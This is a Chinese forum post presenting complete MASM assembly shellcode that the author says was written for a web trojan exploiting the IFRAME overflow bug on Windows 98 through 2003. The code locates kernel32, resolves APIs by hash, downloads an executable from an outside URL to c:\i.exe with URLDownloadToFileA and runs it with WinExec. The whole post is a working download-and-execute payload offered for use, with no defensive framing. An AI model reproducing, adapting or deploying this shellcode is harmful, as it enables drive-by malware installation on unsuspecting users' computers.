返回列表 回复 发帖

IFRAME溢出利用之shellcode

作者:冰狐浪子   文章来源:冰狐浪子

网上关于可以溢出之后下载程序的shellcode不少,但基本上都是用于win2000 xp 2003等,可以用于win9x的我一时没有找到,因为要做这

个网页木马,就索性自己找代码和文章看了下,用了近两天的时间终于写了个可以运行于win98、winme、win2000、winxp以及win2003 server

的代码。希望对大家喜欢!算是给大家的新年礼物吧!希望大家以后多多来我的小站凑个热闹!

代码如下:
  1. .386
  2. .model flat, stdcall
  3. option casemap :none
  4. include windows.inc
  5. include kernel32.inc
  6. includelib kernel32.lib
  7. ;***********************************************************************
  8. debug equ 1 ;是否测试shellcode
  9. SEHorPEB equ 1 ;利用SEH[1]或PEB[0]获取 kernel32.dll 的基地址
  10. big equ 1 ;1=c:\i.exe 0=c:\i
  11. PrTh equ 1 ;结束进程ExitProcess[1]或线程ExitThread[0]

  12. Url equ db 'http://www.icyfoxlovelace.com/test.exe',0
  13. HASH_KEY equ 13 ; HASH位移量
  14. ;***********************************************************************

  15. ;制作:冰狐浪子[icyfoxlovelace]{ EST }
  16. ;主页:http://www.icyfoxlovelace.com
  17. ;Q Q: 76416026
  18. ;作用:下载运行并指定程序[为IFRAME溢出漏洞特别制作]
  19. .code
  20. ;=======================================================================
  21. ;所调用的Api
  22. ;=======================================================================
  23. ApiSum equ 4 ; 所有Api数量
  24. Api:
  25. ;kernel32 3
  26. db "LoadLibraryA",0 ; [esi]
  27. db "WinExec",0 ; [esi+4]
  28. IF PrTh
  29. db "ExitProcess",0 ; [esi+8]
  30. ELSE
  31. db "ExitThread",0 ; [esi+8]
  32. ENDIF

  33. ;urlmon 1
  34. db "URLDownloadToFileA",0 ; [esi+12]

  35. ; Api别名 call dword ptr pLoadLibraryA
  36. pLoadLibraryA equ [esi]
  37. pWinExec equ [esi+4]

  38. IF PrTh
  39. pExitProcess equ [esi+8]
  40. ELSE
  41. pExitThread equ [esi+8]
  42. ENDIF

  43. pURLDownloadToFileA equ [esi+12]
  44. ;=======================================================================

  45. SCFile db "ShellCode.txt",0
  46. SCFLen dd ?

  47. start:
  48. ;=======================================================================
  49. ;获取所需Api的hash值并保存
  50. ;=======================================================================
  51. hash_start:
  52. mov edi,offset ApiHash
  53. mov esi,offset Api
  54. mov ecx,ApiSum
  55. hash_next:
  56. xor   eax, eax
  57. hash:
  58. movzx   edx, byte ptr [esi]
  59. cmp   dl, dh
  60. jz     short save_addr
  61. ror   eax, HASH_KEY ; hash key
  62. add   eax, edx
  63. inc   esi
  64. jmp   short hash
  65. save_addr:
  66. stosd
  67. inc esi
  68. loop   hash_next

  69. ;=======================================================================
  70. ;把shellcode写入文件
  71. ;=======================================================================

  72. invoke CreateFile,addr SCFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,\
  73.     FILE_ATTRIBUTE_NORMAL or FILE_FLAG_WRITE_THROUGH, NULL
  74. mov ebx,eax
  75. push NULL
  76. push offset SCFLen
  77. push ShellCode_Length
  78. push offset ShellCodeStart
  79. push ebx
  80. call WriteFile
  81. ;invoke WriteFile,HSCFile,addr ShellCodeStart,SCFLen, addr SCFLen, NULL
  82. invoke CloseHandle,ebx


  83. IF debug
  84. jmp ShellCode ;测试ShellCode
  85. ENDIF
  86. invoke ExitProcess,0

  87. ;=======================================================================
  88. ;shellcode开始
  89. ;利用SEH获取 kernel32.dll 的基地址
  90. ;=======================================================================
  91. ShellCodeStart equ this byte
  92. ShellCode:
  93. ;cld;最好加上这句,以防万一
  94. assume fs:nothing

  95. IF SEHorPEB

  96. xor   esi,esi
  97. lods   dword ptr fs:[esi] ;4字节等同于6字节mov eax,fs:[0]

  98.   ;此处省略mov eax,[eax],会使Search_Krnl32_lop循环增加一次,不影响实际应用

  99. Search_Krnl32_lop:
  100. inc eax
  101. je Krnl32_Base_Ok
  102. dec eax
  103.     xchg esi,eax ; 等同于mov eax,[eax],但可以使下面的lodsd
  104.     lodsd   ; xchg ebp,eax比{ mov ebp,[eax+4] }少一个字节
  105.     jmp Search_Krnl32_lop
  106. Krnl32_Base_Ok:
  107. lodsd
  108. xchg ebp,eax ;ebp=kernel32的UnhandledExceptionFilter地址

  109. find_pe_header:
  110. dec ebp ; 等同于ebp-010000h;sub ebp, 010000h
  111. xor bp,bp ; kernel32 is 64k align
  112.   ; 不用1000h是因为dll文件加载一般以64k(10000)为界

  113. cmp word ptr [ebp],IMAGE_DOS_SIGNATURE ; "ZM"5A4Dh
  114. jne find_pe_header

  115. mov esi,ebp
  116. add esi, [ebp][IMAGE_DOS_HEADER.e_lfanew]
  117. cmp dword ptr [esi],IMAGE_NT_SIGNATURE ;"EP"00004550h;
  118. jne find_pe_header
  119. ELSE
  120. ;***********************************************************************
  121. ;通过peb取得kernel32.dll地址
  122.     mov   eax, fs:[30h] ;PEB
  123.     mov   eax, [eax+0ch] ;PROCESS_MODULE_INFO
  124.     mov   esi, [eax+1ch] ;InInitOrder.flink
  125.     lodsd   ;eax = InInitOrder.blink
  126.     mov   ebp, [eax+08h] ;ebp = kernel32.dll base address
  127. ;***********************************************************************
  128. ENDIF
  129. ;=======================================================================
  130. ;到这里ebp = kernel32.dll 的基地址
  131. ;=======================================================================

  132. jmp sc_end
  133. sc_start:      
  134. pop edi   ;Api 的 Hash 值的保存地址 (esp -> edi)
  135. mov esi, edi ;Api 的 Hash 值的保存地址 -> esi
  136.   
  137.   ;获取所需kernel32里Api的地址
  138. push 3
  139. pop ecx
  140. getkernel32:
  141. call GetProcAddress_fun
  142. loop getkernel32

  143.   ;利用堆栈加载urlmon.dll
  144. push 00006e6fh ;0'no'
  145. push 'mlru'   ;6d6c7275h urlmon
  146. push esp
  147. call dword ptr pLoadLibraryA ;LoadLibraryA("urlmon");
  148.    
  149. mov ebp, eax ;ebp = urlmon.dll base address
  150.    
  151. call GetProcAddress_fun ;获取urlmon.dll里的'URLDownloadToFileA'的地址

  152.   ;现在edi=Url的地址

  153. IF big
  154.   ;URLDownloadToFileA下载程序
  155. push 0
  156. push 'exe.'   ;.exe;.bak 可以不要扩展名
  157. push 'i\:c'   ;695c3a63h c:\i ;c:\i.exe
  158. mov ebx,esp

  159. xor eax, eax
  160. push eax
  161. push eax
  162. push ebx   ;c:\i.exe
  163. push edi   ;Url
  164. push eax
  165. call dword ptr pURLDownloadToFileA ;URLDownloadToFileA(Url,'c:\i.exe') 下载程序

  166. ELSE
  167. push 0
  168. push 'i\:c'   ;695c3a63h c:\i
  169. mov ebx,esp

  170. xor   ecx, ecx
  171. push   ecx
  172. push   ecx
  173. push   ebx   ;c:\i
  174. push   edi   ;Url
  175. push   ecx
  176. call   eax   ;URLDownloadToFileA(Url,'c:\i') 下载程序
  177. ENDIF

  178.   ;WinExec运行程序
  179. ;push eax   ;去掉,利用堆栈里的代替
  180. push ebx
  181. call dword ptr pWinExec ;WinExec(c:\i.exe);

  182. IF PrTh
  183.   ;结束进程ExitProcess
  184. ;push 0   ;去掉,利用堆栈里的代替
  185. call dword ptr pExitProcess
  186. ELSE
  187.   ;结束线程ExitThread
  188. ;push 0   ;去掉,利用堆栈里的代替
  189. call dword ptr pExitThread
  190. ENDIF

  191. ;=======================================================================
  192. ;利用Hash得到Api地址
  193. ;ebp=DLL的基地址
  194. ;edi=Hash值地址和得到的Api的保存地址
  195. ;=======================================================================
  196. GetProcAddress_fun:   
  197. push ecx
  198. push esi

  199. mov esi, [ebp+IMAGE_DOS_HEADER.e_lfanew]   ;e_lfanew 0x3C
  200. mov esi, [esi+ebp+IMAGE_NT_HEADERS.OptionalHeader.DataDirectory] ;导出表ExportDirectory RVA 0x78
  201. add esi, ebp     ;RVA2VA
  202. push esi
  203. mov esi, [esi+IMAGE_EXPORT_DIRECTORY.AddressOfNames] ;函数名地址表AddressOfNames RVA 0x20
  204. add esi, ebp     ;RVA2VA

  205. xor ecx, ecx
  206. dec ecx

  207. find_start:
  208. inc ecx
  209. lodsd
  210. add eax, ebp
  211. xor ebx, ebx

  212. hash_loop:
  213. movzx edx, byte ptr [eax] ;movsx edx, byte ptr [eax]
  214. cmp dl, dh
  215. jz short find_addr
  216. ror ebx, HASH_KEY ;hash key
  217. add ebx, edx
  218. inc eax
  219. jmp short hash_loop

  220. find_addr:
  221. cmp ebx, [edi] ;比较hash值
  222. jnz short find_start
  223. pop esi   ;ExportDirectory
  224. mov ebx, [esi+IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals] ;API输出序号表AddressOfNameOrdinals RVA 0x24
  225. add ebx, ebp     ;RVA2VA
  226. movzx ecx, word ptr [ebx+ecx*2]   ;ecx=找到的Api的输出序号;mov cx, [ebx+ecx*2]
  227. mov ebx, [esi+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions] ;API输出地址表AddressOfFunctions RVA 0x1C
  228. add ebx, ebp ;RVA2VA
  229. mov eax, [ebx+ecx*4] ;eax=Api入口地址的RVA
  230. add eax, ebp ;RVA2VA
  231. stosd   ;Api入口地址保存到 [edi]

  232. pop esi
  233. pop ecx
  234. ret

  235. sc_end:
  236. call sc_start

  237. ;=======================================================================

  238. ApiHash dd ApiSum dup (?)
  239. Url
  240. ShellCodeEnd equ this byte
  241. ShellCode_Length equ offset ShellCodeEnd-offset ShellCodeStart

  242. end start
复制代码
返回列表